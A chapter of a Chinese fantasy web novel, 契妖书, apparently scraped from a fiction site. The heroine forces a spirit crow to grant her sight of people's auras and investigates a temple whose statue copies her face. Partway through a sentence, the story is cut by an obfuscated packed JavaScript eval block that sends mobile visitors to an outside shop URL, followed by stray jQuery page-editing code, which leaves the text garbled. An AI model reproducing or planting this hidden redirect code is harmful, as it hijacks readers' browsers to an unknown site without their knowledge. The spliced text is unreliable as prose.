文趣网 > 其他小说 > 契妖书 > 6.慈灵道君的真容。
    雍州城门向东行一里,有一条上山的路。山道上乌泱泱一群人走着,打头的是一名白发白须的道士,其后紧跟着一十岁女童、病恹恹男子,末尾是一名与狸奴同行的华服少女。

    正是祁灵越。

    事发突然且离奇,宣素也要一同前往慈灵仙庙,祁灵越想了想,不作阻拦。宣素既然曾去过,或许也向精怪许下过心愿,跟在自己身边,还可以照应一二。

    王钦舟也想凑热闹,祁灵越只好亲自出手揍了他两拳,果然老实了,乖乖回府等消息。

    至于狸奴,祁灵越本想让巧玉把它抱回府中,谁知它无论如何都不肯让除了她以外的人触碰,矫健的猫身纵身一跃,在她脚边走了几圈,示意自己可以跟着走,也就随它跟着了。

    自从听到月莲暴毙前说的那句话,祁灵越就想到了一个从幕僚白羽处曾听说过的故事:

    山里有一种以人之欲望为食的精怪,这种精怪可以嗅到贪念的味道,它们循着味道找上门去。

    被选中的人先开始只需付出不甚重要的东西就能换取心愿实现,生出更大的贪念,一步一步,最后以自己的性命为代价,换得欲望满足。

    启慧说月莲月兰是大妖妖气入侵所,祁灵越却觉得,他们两兄弟遇到的应该是白羽故事中的这种精怪。

    月莲气血尽,身僵而未死,是因为许下的心愿还未完全达成。她疑惑的是,月兰为何说出心愿后直接身死当场。

    就算是不惜献祭生命,也得是愿望实现后才能完成交换。

    想不出所以然,祁灵越向距离她不近不远的金羽乌鸦传音:“现下要除妖了,说好的法宝‘契妖书’何在?”

    金羽乌鸦道:“法宝出了一点状况,过两日才能拿到。”

    祁灵越哼道:“过两日,月莲焉有命在。你到底是不是仙鸟,还是个编了梦哄骗我的妖怪?”

    金羽乌鸦:“我不会骗你。”

    祁灵越不跟它掰扯:“没有法宝,给我点神通。”

    金羽乌鸦:“无关百妖,不合规矩。”

    祁灵越早知道它会这么说,手心的石子都焐热了,总算有了用武之地。她拿出在袖子里捣鼓一路的物什,一根开叉的树枝上绑了一根弹绳,是一个新鲜的弹弓。

    啪嗒!

    弹弓越过金羽乌鸦,打到一棵树的树枝上。

    一直很冷酷的金羽乌鸦终于有了活鸟气,怒扇翅膀躲避石子:“你干什么!”

    “打鸟。”祁灵越气定神闲地拉了拉弹绳,在地上又摸了一块石子,“你何时给我神通,我何时停手。你是仙帝派来督促我收伏百妖的使者,若是我一只妖也收不回去,你交不了差,应该也不会好过。”

    祁灵越拉紧弹绳,单眼瞄准金羽乌鸦,道:“你不给我神通,那就大家都不好过。”

    “行,我给!”金羽乌鸦咬牙切齿道,“只给你二十四时的神通‘天眼’。”

    祁灵越只觉自己双目冰凉,似有一股凉气钻入眼中,眼前景物没什么变化,只是她打鸟的动静惊动了前面的人,宣素虚咳两声,转身问道:“大人,发生什么事了?”

    宣素一转身,祁灵越便感知到了神通所在。

    她眼里的宣素周身溢着浑浊的光晕,整体是灰青色。再看已经远在很前面的启慧和巧玉,启慧身上的颜色是稍微干净一些的青色,而巧玉身上则是最比较纯粹的白色。

    祁灵越收起弹弓,收敛嚣张的面色,道:“无事,有一只烦人的鸟儿,已经被打跑了。”

    “……”金羽乌鸦恢复没有起伏的语调,“灵气为青,妖气为赤,仙气为白,死气为黑,怨气为灰;若是赤子,周身之气亦为白色。人大多是浑浊的,周身气息不干净,青灰混杂。”

    祁灵越点点头,新奇地望着身边的一切事物,山上除了他们,没什么路人。他们这会已经走到了一个分岔路口,想来其中青石板铺就的路通往怀清仙殿,另外一条红泥土路通往的就是慈灵仙庙了。

    石板上几位身着华丽的中年女子正要下山,祁灵越看到了她们身上的气,灰色偏重,几乎看不见青色。

    金羽乌鸦道:“欲望过重的人,心中的怨也会增多。世间无欲无求的人很少。”

    祁灵越:“既然前来求神拜佛,供奉神仙,自然是心有所求。世人信仰神仙,敬畏不多,欲求不少。拜得哪是神仙,不过是心中的欲望。殊不知神仙自有神仙事,求神不如求己。”

    金羽乌鸦没有回答,祁灵越一脚金丝如意锦鞋踏上红泥土路,亦不说话了。

    不久,一行人终于来到了慈灵仙庙。

    仙庙没什么香客,从外面看有几分寺庙的形制,进到庙内,有有点像道观。阿母贴身丫鬟所说的女道士和童子暂时都没有看到,几人站在泥塑的神像下,一时间都没有说话。

    太像了。

    启慧静静看了半晌,甩出拂尘道:“岂有此理!”

    祁灵越原本就担心她看出什么来,心里备好了一套说辞撇清自己和慈灵道君的关系,便听启慧义愤填膺道:“这究竟是谁干的?!竟以灵越娘子的身形面容为模子刻了一尊泥身在这里冒充慈灵道君!如此不敬神明,抹黑娘子,戏耍世人!”

    闻言,祁灵越原本备好的说辞是用不上了,她默了默,道:“岂有此理。启慧道长,敢问可有慈灵道君的画像,我回府命人将这泥人推了,重新塑一座神像。”

    巧玉信以为真,知晓祁灵越不喜供奉神仙,愤愤道:“原来是人有意为之,实在可恶,知晓我们大人最是厌烦……居心叵测,太恶毒了!”

    启慧在怀中继续掏取片刻,从里面取出一卷画轴来,祁灵越看了看她平坦的前胸,又思及那碗药团,意识到她衣襟内藏乾坤,应是修行之人才有的乾坤袋。

    启慧展开卷轴,所有人都探过头去准备一瞧慈灵道君的‘真容’,便见画卷之上,那人肥头黑面,明明是女道君,生得如强盗般不修边幅,长得丑也就罢了,穿的也是一身黑黢黢的道袍,一点也没有神仙样。

    满脸好奇的巧玉沉默了。

    本就沉静无言的宣素也沉默了。

    完全没想到慈灵道君在修界居然是如此形象的祁灵越,也沉默了。

    一直安安静静乖巧的花狸奴忽然跳起来,在画卷上刷刷来了两爪,划破了卷纸,卧在一旁,悠然舔爪。

    巧玉童言无忌:“就连狸奴都被丑到了。”

    宣素一阵猛咳。

    祁灵越鲜少有不知该说什么的时候,这会竟犹豫起来,不知是该说‘狸奴无状,不知多少银子可以赔偿画像’,还是说‘这慈灵道君长得还真是别具一格

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17620534|206113||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ’,还是顺从心意,问一问作画之人是谁。

    幸好启慧将画卷一收,道:“这才是慈灵道君的真容,她虽不是我们太……她虽不是厉害仙门出身的,却也曾身为御兽一道之祖,是千年来唯一成功飞升的道君。我们修行的人见了,都得唤一声慈灵道祖。”

    启慧义正言辞道:“虽说慈灵道祖生得不一般,我们也不可轻慢她,以灵越娘子般貌美的泥塑冒充她的神像不可取。”

    祁灵越道:“有理,今晚就将泥塑拆了。”

    “不过……”她眼珠一转,随眼向四周一扫,“启慧道长,除了泥像,仙庙可有什么不对的地方,大妖藏在何处,我们要如何将它找出来。”

    她刻意作此发问,眼前的慈灵仙庙中干干净净,既没有妖物的赤色之气,也没有其他颜色的气,似乎只是一座平平无奇的仙庙。

    启慧摸着胡子道:“奇怪,怎么一点妖气也没有,难道说,那只驺吾妖真的不在这里?”

    祁灵越沉吟道:“这里的墙面很陈旧,平日里应该没什么人来,供案上的果子也有些腐烂了,大妖若是想以香火味盖住妖气,可能是去了怀清仙殿。”

    她虽是这样说,心中愈发奇怪。从已有的线索来看,月兰和宣素都来过慈灵仙庙,龟奴拿出的泥菩萨也和庙中的神像一样,可以满足愿望的精怪作祟应该就藏身在慈灵仙庙中。

    启慧道:“怀清仙殿距离这里不远,我过去看看。”

    她刚准备踏出门去,就有一年迈的大娘在一位男子的搀扶下哭着进来,无视几人,直接跪到神像前的蒲团上,‘砰砰’将头磕在地上,很快就见了血色。

    她身边的男子步伐迟钝,反应似乎也很慢。他并不阻止大娘的举动,只有些漠然地望着地上的血污,而后抬起头,定定地直视泥像。

    这男子身上的颜色很重,全身被深灰如黑的气包裹,几乎看不到身形。而那磕头的大娘,周身之气颜色反倒还算寻常,就是浑浊的青灰之色。

    祁灵越等大娘停止磕头,拜完神仙,上前问道:“大娘,这是怎么了?”

    大娘不愿多言,只摇头道:“作孽啊,作孽啊!”

    祁灵越心念一转,没有继续问,只对着神像感叹道:“还是这里的神仙容易显灵,之前拜了许久的怀清道君都没什么用,白折了我的香火钱。”

    那大娘果然动作一顿,却仍只是哭哭啼啼,多的一句话也不肯说。

    她身边的男子闻言看了祁灵越一眼,无神的目光微微聚焦:“是灵越大人啊。”

    祁灵越不知她是谁,她却是雍州城人尽皆知的人物,那男子唤了一声后,有气无力地说了一句:“大人,不要向这里的神明许愿。”

    大娘听到男子说的话,转过身来:“你和灵越大人说这些作甚,旁人的事与你何干?走吧,我的儿,我们回去吧。”

    祁灵越看着两人在下山的道上渐行渐远,对巧玉道:“跟他们下山,查查他是谁,最近家中发生了什么事。”

    往常巧玉接收到命令早窜出去了,此时愣在原地,挠挠头道:“真是奇怪,大人,这人是安乐巷的张荧!”

    巧玉喃道:“他死了好几日了,昨个儿您去春雨楼的路上,他的娘子还卖唱葬夫呢,我知道她家里的事,给了她整整一锭银子,不会记错。”